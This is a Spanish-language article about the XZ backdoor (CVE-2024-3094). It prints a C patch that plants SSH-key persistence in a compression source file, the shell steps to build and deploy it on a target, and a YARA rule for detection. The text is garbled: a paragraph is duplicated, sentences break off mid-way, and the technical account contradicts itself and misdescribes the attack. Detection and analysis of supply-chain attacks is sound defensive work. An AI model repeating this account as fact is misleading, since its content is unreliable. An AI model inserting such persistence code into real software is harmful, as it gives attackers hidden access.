
CVE-2024-3094 expuso una puerta trasera en la biblioteca de compresión XZ, permitiendo acceso remoto SSH al omitir la autenticación. Es un ataque importante a la cadena de suministro que afecta a sistemas Linux, destacando los riesgos en componentes de confianza de código abierto.
CVE-2024-3094 expuso una puerta trasera en la biblioteca de compresión XZ, permitiendo acceso SSH remoto al omitir la autenticación. Es un ataque importante a la cadena de suministro que afecta a sistemas Linux, destacando los riesgos en componentes confiables de código abierto.
Por Mark Mallia
La biblioteca de compresión XZ, un componente básico de muchas distribuciones modernas de Linux, se convirtió en el objetivo de un ataque sofisticado a la cadena de suministro.
Se coló un fragmento de código malicioso en el árbol de fuentes, se compiló y ahora viaja con cada nueva versión del paquete XZ. Una vez instalada, la puerta trasera puede abrir una sesión SSH desde el host comprometido a cualquier sistema remoto que la confíe como una clave auténtica.
authorized_keys, los atacantes obtienen un punto de apoyo sin requerir interacción directa del usuario.--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 se elige para que nuestra clave caiga dentro del búfer de salida comprimido en una posición que probablemente no sea alterada por compresiones XZ posteriores.$ cd xz
$ make
$ sudo make install
Suponiendo que un atacante ya tiene credenciales SSH (nombre de usuario admin), ejecuta:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh contiene la secuencia exacta de comandos mostrada arriba, más un pequeño echo que confirma la instalación exitosa.
YARA es una herramienta de coincidencia de patrones utilizada por profesionales de seguridad para identificar y clasificar malware basado en firmas textuales o binarias. Permite a los analistas definir reglas que detectan cadenas específicas, secuencias de bytes o comportamientos dentro de archivos. En el contexto de CVE-2024-3094, YARA es especialmente relevante porque se puede usar para escanear la presencia de la clave SSH inyectada y modificaciones sospechosas en el archivo compress.c de la biblioteca XZ. Al elaborar reglas YARA específicas, los defensores pueden detectar proactivamente sistemas comprometidos por esta puerta trasera.
Firma YARA Una regla YARA personalizada puede marcar la presencia de la clave SSH inyectada y escrituras de archivo sospechosas:
rule XZ_Backdoor_SSH_Key_Injection {
meta:
description = "Detects SSH key injection via modified compress.c"
author = "Mark Mallia"
severity = "high"
strings:
$marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
$ssh_path = "/home/admin/.ssh/authorized_keys"
condition:
$marker and $ssh_path
}
Monitoreo de integridad de archivos Implemente herramientas como Tripwire, AIDE u osquery para monitorear:
| Paso | Acción | Archivo / Función |
|---|
| 1 | Clonar repositorio XZ | git clone https://github.com/xzdev/xz |
| 2 | Aplicar parche a src/compress.c | patch -p0 < backdoor.patch |
| 3 | Compilar e instalar en el host Linux objetivo | make && make install |
| 4 | El demonio SSH lee la clave inyectada durante su proceso de autenticación | /etc/ssh/authorized_keys |